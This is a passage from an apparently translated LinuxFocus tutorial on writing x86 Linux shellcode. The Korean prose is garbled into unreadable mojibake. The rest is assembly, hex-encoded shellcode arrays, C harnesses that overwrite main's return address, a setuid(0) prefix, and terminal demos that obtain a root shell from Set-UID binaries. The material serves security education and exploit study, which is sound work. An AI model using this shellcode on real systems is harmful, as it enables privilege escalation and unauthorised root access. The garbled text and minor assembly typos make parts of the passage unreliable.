���α׷� ����� ���α׷��� �μ��� �ִ� ���̴�. 
�츮�� shellcode�� ��������� �̰��� ����ϱ� ���� �ʿ��� 
shellcode�� �ּҸ� �𸣰� �մ�. �̸��� �ᱹ, "<CODE>/bin/sh</CODE>"
���ڿ��� �ּҸ� �˾ƾ� �Ѵٴ� ���̴�. �츮�� �� �ּҸ� ��� ���� 
�ణ�� ���Ӽ�(trick)�� �� �� �ִ�.</P>

<P> <CODE>call</CODE>�������� subroutine(�Լ���� �����ϸ� �ȴ�.)�� 
ȣ������ ��,CPU�� ���ÿ� return address�� �����Ѵ�. �� address�� ����
�ۿ��� ���캻 �ٿ� ���� <CODE>call</CODE> ���� �ٷ� �ڸ� ������. 
�Ϲ�������,�� �����ܰ迡���� stack�� ���¸� �����ϴ� ������ �Ͼ��
(<CODE>push %ebp����</CODE>).���� subroutine�� ���� <CODE>pop</CODE>
������ ����Ѵٸ� return address�� ���� �� �ִ�.(<CODE>pop</CODE>�� 
unstack������ �Ѵ�.) ����, ���ڿ��� �ּҸ� ������ "home made prolog"�� 
���ؼ� <CODE>call</CODE>���ɾ� �ٷ� �ڿ� "<CODE>/bin/sh</CODE>"���ڿ��� 
�����Ѵ�:</P>

<PRE>
 beginning_of_shellcode:
    jmp subroutine_call

 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ...
 subroutine_call:
    call subroutine
    /bin/sh
</PRE>

<P> subroutine�� ������ �ִ� ���� �ƴϴ�. ���⿡���� <CODE>execve()</CODE>
�� ȣ���� �����ϸ� ���μ����� shell�� ��ü�� ���̸�, ȣ���� �����Ѵٸ� 
<CODE>_exit()</CODE>�� ���α׷��� �����ų ���̴�. <CODE>%esi</CODE>�� 
"<CODE>/bin/sh</CODE>"�� �ּҸ� �츮���� �˷��ش�. ������ ���� ���ڿ� �ڿ� 
�� �ּҸ� �ֱ⸸ �ϸ� �ȴ�.  �Ʒ� �׸����� ������ ù��° ��Ҵ� <CODE>%esi</CODE>��
���� ������ �ִ�.(first item�� <CODE>%esi+8</CODE>�� ��ġ�� �����ϸ�,
���⼭ 8�� <CODE>/bin/sh</CODE>�� ���̿� null byte�� ��ģ ���̴�.)
�ι�° ��Ҵ�<CODE>%esi+12</CODE>�� null address�� �����Ѵ�(32bit). �̰��� 
�ڵ�� ������ ����:</P>

<PRE>
    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)
</PRE>

<P> diagram <A href="#tab">6</A>�� �̸� �׸����� ǥ���� ���̴�:</P>

<CENTER>
<TABLE width="90%" summary="one image">
<CAPTION align="BOTTOM"><A name="tab" href="#tab">Diag. 6</A> : data
array</CAPTION>

<TR>
<TD><IMG src="../../common/images/article183/art_02_02.gif" alt=
"data area" width="273" height="64"> </TD>
</TR>
</TABLE>
</CENTER>

<A NAME="lfindex17">&nbsp;</A>
<H2>The null bytes problem</H2>


<P>�̷��� ������� <CODE>strcpy()</CODE>�Լ����� ���ڿ��� 
�ٷ�� �Լ����� ���� �߰ߵȴ�. ������ ���α۸��� �߰��� 
�ڵ带 �����ϱ� ���ؼ�, shellcode�� ���ڿ�ó�� �����ؾ� 
�Ѵ�. �׷��� ������ ���ڿ��� �����ϴ� �Լ����� null���ڸ� 
�߰��ϸ� ��ٷ� ���縦 ����ٴ� �� �ִ�. ���� �츮�� 
���� �ڵ忡�� �̷��� null���ڰ� �־�� �ȵȴ�. ��� 
����� ����Ͽ� �̷��� null byte������ ���� �� �ִ�. ���� ���,
������ ���ɾ��</P>

<PRE>
    movl $0x00, 0x0c(%esi)

</PRE>

�Ʒ��� ���ɾ�� ��ü�� �� �ִ�.

<PRE>
    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

</PRE>

 ���� ���� null byte�� ����ϴ� ����� �����ְ� �ִ�. �׷��� � ���ɾ��� 
��� hex������ ��ȯ���Ѻ��� �̷��� null byte�� �߰ߵȴ�. ���� ���,
<CODE>_exit(0)</CODE>system-call�̳� �ٸ� �Լ������� �̷��� ������ ��Ÿ����. 
<CODE>%eax</CODE>�� 1�̶� ���� �ֱ� ���� _exit()���� ������ ���ɾ ����Ͽ���.
<br><CODE>0x804d996 &lt;_exit+6&gt;: mov $0x1,%eax</CODE>
</br>
 �̰��� hex������ ��ȯ�ϸ� ������ ����:

<PRE>
 b8 01 00 00 00          mov    $0x1,%eax
</PRE>

 �츮�� ���� ���� ��Ȳ�� ���ؾ� �Ѵ�. �̸� �ذ��ϴ� ������δ� <CODE>%eax</CODE>�� 
0�̶� ���� �ְ����� �̰��� ������Ű�� ���� �ִ�.

<P> �ݸ鿡 ���ڿ� "<CODE>/bin/sh</CODE>"�� �ݵ�� null byte�� ������ �Ѵ�. 
shellcode�ۼ��� �̷��� ���� �� ������, ���α׷��ȿ� �����ϴ� ����� ���� 
null byte�� ������ ���α׷�(final application)�� ��Ÿ���� ���� ���� �ִ�. 
"<CODE>/bin/sh</CODE>"�� null byte�� �ֱ����� ���� ����߿� �ϳ��� �Ʒ��� 
�Ұ��Ѵ�:</P>

<PRE>
    /* movb�� ���� �� byte�� �����δ�. */
    /* �Ʒ��� ������ ���� ���ɰ� ����. */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)

</PRE>

<A NAME="lfindex18">&nbsp;</A>
<H2>Building the shellcode</H2>


<P> ���� shellcode�� ����� ���� ��� �غ� ������.
�Ʒ��� �տ��� ����� ������� ������Ѽ� ����
<CODE>shellcode4.c</CODE>�̴�:</P>

<PRE>
/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* /bin/sh �ּҸ� ��´�.*/
        popl %esi
    /* �迭�� ù��° ����� �� �ּҸ� �ִ´�. */
        movl %esi,0x8(%esi)
    /* �迭�� �ι�° ����� NULL�� �ִ´�. */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* ���ڿ��� ���� null byte�� �ִ´�. */
        movb %eax,0x7(%esi)
    /* execve() �Լ� */
        movb $0xb,%al
    /* %ebx�ȿ� �����ų ���ڿ��� �ּҸ� �ִ´�. */
        movl %esi, %ebx
    /* %ecx�ȿ� �迭�� �ִ´�. */
        leal 0x8(%esi),%ecx
    /* %edx�ȿ� �迭�� ȯ���� �ִ´�. */
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null�� �����ִ� �ڵ�*/
        xorl %ebx,%ebx
    /*  _exit() �Լ� : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}
</PRE>

<P>"<CODE>gcc -o shellcode4 shellcode4.c</CODE>"�������� �ڵ带 ������ �϶�.
(������: �̴�� �������ϸ� ������ �߻��ϰ� ������ ���� �ʴ´�.
subroutine_call�� ������ ���� �־��ָ� �̸� ���� �� �ִ�. 
ex> <CODE>jmp subroutine_call</CODE> -> <CODE>jmp 0x1f</CODE>
<CODE>subroutine_call</CODE> -> <CODE>call -0x24</CODE>). 
"<CODE>objdump --disassemble shellcode4</CODE>"������ �������ϳ���
null byte�� �������� ������ Ȯ�ν����� ���̴�:</P>

<PRE>
08048398 &lt;main&gt;:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc &lt;subroutine_call&gt;

0804839d &lt;subroutine&gt;:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc &lt;subroutine_call&gt;:
 80483bc:   e8 dc ff ff ff          call   804839d &lt;subroutine&gt;
 80483c1:   2f                      das
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das
 80483c6:   73 68                   jae    8048430 &lt;_IO_stdin_used+0x14&gt;
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret
 80483cb:   90                      nop
 80483cc:   90                      nop
 80483cd:   90                      nop
 80483ce:   90                      nop
 80483cf:   90                      nop
</PRE>

<P> ��� ���ɾ�� ǥ�������� �ʾ�����, ���ڿ� "<CODE>/bin/sh</CODE>"
(hex������ <CODE>2f 62 69 6e 2f 73 68 00</CODE>���� ǥ���ȴ�.)�� 
��� ����Ʈ�� ������ data�� 804831c�ּ� �ڿ��� �߰��� �� �ִ�. 
80483c8�� �ִ� ���ڿ��� ���� ��Ÿ���� null���ڸ� �����ϰ�, 
�ڵ��� ��𿡵� zero�� �������� �ʴ´�.</P>

<P> ���� �� ���α׷��� �׽�Ʈ �غ���:</P>

<PRE>
$ ./shellcode4
Segmentation fault (core dumped)
$
</PRE>

<P> �׽�Ʈ ����� ����, �� ���α׷��� ���� �ڽ��� ����(shell�� �����Ű�� ��)��
����� �������� ���Ѵٴ� ���� �� �� �ִ�. ���DZ��� ���캸�� <CODE>main()</CODE>
�Լ��� ��ġ�ϴ� ���� read-only����(�̱��� ���� �տ��� ����� <CODE>text</CODE>����
�� ���Ѵ�.)�̶�� ����� �� �� ���� ���̴�. shellcode���� �̿����� ������ 
�ٲ� �� ����. ��� �ϸ� �츮�� ���� shellcode�� �׽�Ʈ�� �� ������?</P> 

<P> read-only������ ���ذ� �� �ִ� ������� shellcode�� data������ 
�ִ� ����� �ִ�. shellcode�� �������� �迭�� ��������. 
���⿡ �Ǵٸ� ����� ���Ͽ�  shellcode�� �����ų �� �ִ�.
���þȿ��� shellcode�� ������ �ִ� �迭�� �ּҸ� �˾Ƴ���,
<CODE>main()</CODE>�Լ��� return address�� �� �ּҸ� �ִ� ���̴�. 
<CODE>main()</CODE>�Լ��� linker�� ���� �߰��Ǵ� ��� �ڵ忡 ���� ȣ��Ǵ� 
�⺻���� ��ƾ("standard" routine)���� ���� ����. 
�Ʒ����������� ������ ó�� ��ġ���� �ΰ��� ���� �迭��ŭ��
������ ����� return address�� ������ �� �ִ�.</P> 

<PRE>
  /* shellcode5.c */

  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 �� ������ �ֻ���(top)�κ��� */
      /*  2 words(8 bytes) offset ������ �� ���̴�. */
      /*  ù��° word�� ���������� ���� �����̸�, */
      /*  �ι�° word�� ����� %ebp(=sfp)�� �����̴�. */

      * ((int *) &amp; ret + 2) = (int) shellcode;
      return (0);
  }
</PRE>

<P> ���� �츮 ���α׷��� �׽�Ʈ�غ���:</P>

<PRE>
$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$
</PRE>

<P> �츮�� ���� ���α׷� <CODE>shellcode5</CODE>�� Set-UID <EM>root</EM>�� 
�����ϰ�, �����α׷��� ��������� �� <EM>root</EM>&nbsp;�������� �ٲ�°͸� 
Ȯ���غ��� �ȴ�:</P>

<PRE>
$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$

</PRE>

<A NAME="lfindex19">&nbsp;</A>
<H2>Generalization and last details</H2>


<P> �� shellcode�� �ټ� �������̴�(����, ��byte�� �����̱� 
������). �Ʒ��� ���α׷��� ���� ���ڸ�:</P>

<PRE>
  /* shellcode5bis.c */

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) &amp; ret + 2) = (int) shellcode;
      return (0);
  }
</PRE>

 �� ���α׷��� ������ �ۿ��� ��õ�ߴ� ���ó��, ���μ����� ����UID���� ��
effective UID�� �����Ͽ���. �̷� ���α׷������� shell�� ����� �� Ư���� 
������ ���� �ʰ� ����ȴ�:

<PRE>
$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$

</PRE>

 �׷���, <CODE>seteuid(getuid())</CODE>������ �׸� ȿ������ ���å�� ���� ���Ѵ�. 
�̴� ������ <CODE>setuid(0)</CODE>�� ȣ���ϴ� ������ �ذ�Ǵµ�, <CODE>setuid(0);</CODE>�� 
shellcode�� �պκп��� S-UID���α׷��� EUID�� ���� ���� 0���� 
�����ϴ� �Ͱ� ���� ȿ���� ���´�.  

<P> �� ���ɾ��� �ڵ�� ������ ����:</P>

<PRE>
  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

</PRE>

 ���� �ڵ带 ���� shellcode�� �����Ͽ� ����:

<PRE>
  /* shellcode6.c */

  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) &amp; ret + 2) = (int) shellcode;
      return (0);
  }
</PRE>

 �̰��� ����� �����ϴ��� �׽�Ʈ �غ���. 

<PRE>
$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$

</PRE>

 ������ �������� ������ ���� shellcode�� �Լ��� �����ϴ°��� �����ϴٴ�
���� �����ش�. ���� ���, <CODE>chroot()</CODE>�� ������ ���丮�� ���������� ���̶����,
socket�� ����Ͽ� remote shell�� ���� �ϵ��� �ִ�.

<P> �̷��� shellcode�� ������ �׵��� ���Ǵ� ������ ���� 
shellcode�ȿ��� ��byte�� ���� ������ �°� ������� �Ѵٴ�
�ǹ̸� �����ϰ� �ִ�:</P>

<TABLE width="100%" summary="shellcode adapted">
<TR>
<TD><CODE>eb XX</CODE></TD>
<TD><CODE>&lt;subroutine_call&gt;</CODE></TD>
<TD>XX = &lt;subroutine_call&gt;������ bytes��</TD>
</TR>

<TR>
<TD><CODE>&lt;subroutine&gt;:</CODE></TD>
</TR>

<TR>
<TD><CODE>5e</CODE></TD>
<TD><CODE>popl %esi</CODE></TD>
</TR>

<TR>
<TD><CODE>89 76 XX</CODE></TD>
<TD><CODE>movl %esi,XX(%esi)</CODE></TD>
<TD>XX =  XX = �迭�� ù��° ������ġ(������ ������ �ּ�). �� offset�� ������
���ɰ� '\0'�� ���Ե� ���̴�.</TD>
</TR>

<TR>
<TD><CODE>31 c0</CODE></TD>
<TD><CODE>xorl %eax,%eax</CODE></TD>
</TR>

<TR>
<TD><CODE>89 46 XX</CODE></TD>
<TD><CODE>movb %eax,XX(%esi)</CODE></TD>
<TD>XX =  �迭�� �ι�° ������ġ,���⼭�� NULL���� ���´�.</TD>
</TR>

<TR>
<TD><CODE>88 46 XX</CODE></TD>
<TD><CODE>movb %al,XX(%esi)</CODE></TD>
<TD>XX = ���ڿ� ���� ���� '\0'�� ��ġ.</TD>
</TR>

<TR>
<TD><CODE>b0 0b</CODE></TD>
<TD><CODE>movb $0xb,%al</CODE></TD>
</TR>

<TR>
<TD><CODE>89 f3</CODE></TD>
<TD><CODE>movl %esi,%ebx</CODE></TD>
</TR>

<TR>
<TD><CODE>8d 4e XX</CODE></TD>
<TD><CODE>leal XX(%esi),%ecx</CODE></TD>
<TD>XX = �迭���� ù��° ���ڰ� �ִ� ���� offset�� <CODE>%ecx</CODE>�� 
�ִ´�.</TD>
</TR>

<TR>
<TD><CODE>8d 56 XX</CODE> </TD>
<TD><CODE>leal XX(%esi),%edx</CODE></TD>
<TD>XX = �迭���� �ι�° ���ڰ� �ִ� ���� offset�� <CODE>%edx</CODE>�� 
�ִ´�.</TD>
</TR>

<TR>
<TD><CODE>cd 80</CODE></TD>
<TD><CODE>int $0x80</CODE></TD>
</TR>

<TR>
<TD><CODE>31 db</CODE></TD>
<TD><CODE>xorl %ebx,%ebx</CODE></TD>
</TR>

<TR>
<TD><CODE>89 d8</CODE></TD>
<TD><CODE>movl %ebx,%eax</CODE></TD>
</TR>

<TR>
<TD><CODE>40</CODE></TD>
<TD><CODE>incl %eax</CODE></TD>
</TR>

<TR>
<TD><CODE>cd 80</CODE></TD>
<TD><CODE>int $0x80</CODE></TD>
</TR>

<TR>
<TD><CODE>&lt;subroutine_call&gt;:</CODE></TD>
</TR>

<TR>
<TD><CODE>e8 XX XX XX XX</CODE></TD>
<TD><CODE>call &lt;subroutine&gt;</CODE></TD>
<TD> �� 4 bytes�� &lt;subroutine&gt;������ bytes�� ����� ���̴�.
(little endian���� ������ ǥ���ȴ�.)&lt;subroutine&gt;</TD>
</TR>
</TABLE>

<A NAME="lfindex20">&nbsp;</A>
<H2>Conclusion</H2>


<P> �츮�� �̱��� ���� �뷫 40byte�����Ǵ� ���α׷��� �����,
�̸� �̿��� root�������� �ܺθ��ɾ�(external command)�� 
�����ų �� �ִٴ� ���� �˰� �Ǿ���. ���� ������ ������
���� ���� ������ �����߸� �� �ִ� ����� ���캸�Ҵ�.
�� ����� ���ؼ��� �����ۿ��� �� �ڼ��� �ٷ� ���̴�....</P>




<!-- 2pdaIgnoreStart -->
<A NAME="talkback">&nbsp;</a>
<h2>Talkback form for this article</h2>
Every article has its own talkback page. On this page you can submit a comment or look at comments from other readers:
<center>
<table border="0"  CELLSPACING="2" CELLPADDING="1">
 <tr BGCOLOR="#C2C2C2"><td align=center>
  <table border="3"  CELLSPACING="2" CELLPADDING="1">
   <tr BGCOLOR="#C2C2C2"><td align=center>
    <A href="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=183&lang=en"><b>&nbsp;talkback page&nbsp;</b></a>
   </td></tr></table>
</td></tr></table>
</center>

<HR size="2" noshade>
<!-- ARTICLE FOOT -->
<CENTER><TABLE WIDTH="95%">
<TR><TD ALIGN=CENTER BGCOLOR="#9999AA">
<A HREF="../../common/lfteam.html">Webpages maintained by the LinuxFocus Editor team</A>
<BR><FONT COLOR="#FFFFFF">&copy;  Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier, <a href="../../common/copy.html">FDL</a> <BR><a href="http://www.linuxfocus.org">LinuxFocus.org</a></FONT>
<BR><a href="http://cgi.linuxfocus.org/cgi-bin/lfcomment?lang=en&article=article183.shtml" target="_TOP">Click here to report a fault or send a comment to LinuxFocus</A><BR></TD>
<TD BGCOLOR="#9999AA"><!-- TRANSLATION INFO -->
<font size=2>Translation information:</font><TABLE>
<tr><td><font size=2>fr</font></td>
    <td><font size=2>-&gt;</font></td>
    <td><font size=2>--</font></td>
    <td><font size=2><a href="mailto:pappy&#64;users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"><FONT COLOR="#FFFFFF"> Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier</FONT></a></font></td>
</tr>
<tr><td><font size=2>fr</font></td>
    <td><font size=2>-&gt;</font></td>
    <td><font size=2>en</font></td>
    <td><font size=2><a href="mailto:georges.t&#64;linuxfocus.org"><FONT COLOR="#FFFFFF">Georges Tarbouriech</FONT></a></font></td>
</tr>
<tr><td valign=top><font size=2>en</font></td>
    <td valign=top><font size=2>-&gt;</font></td>
    <td valign=top><font size=2>ko</font></td>
    <td><font size=2><a href="mailto:scrude@hsd.hackerslab.org"><FONT COLOR="#FFFFFF">Sang-Kuk Hong</FONT></a>,
    <a href="mailto:willow@hsd.hackerslab.org"><FONT COLOR="#FFFFFF">Hyun-Wook Hwang</FONT></a>,
    <a href="mailto:minenis@hsd.hackerslab.org"><FONT COLOR="#FFFFFF">Kun-Wook Kang</FONT></a>,
    <a href="mailto:dakeshi@hsd.hackerslab.org"><FONT COLOR="#FFFFFF">Sang-Jun Moon</FONT></a>,
    <a href="mailto:wooyaggo@hsd.hackerslab.org"><FONT COLOR="#FFFFFF">WooHyun Kim</FONT></a></td>
    
</tr>
</TABLE></TD>
</TR></TABLE></CENTER>
<p><font size=1>2001-04-27, generated by lfparser version 2.13</font></p>
<!-- 2pdaIgnoreStop -->
</BODY>
</HTML>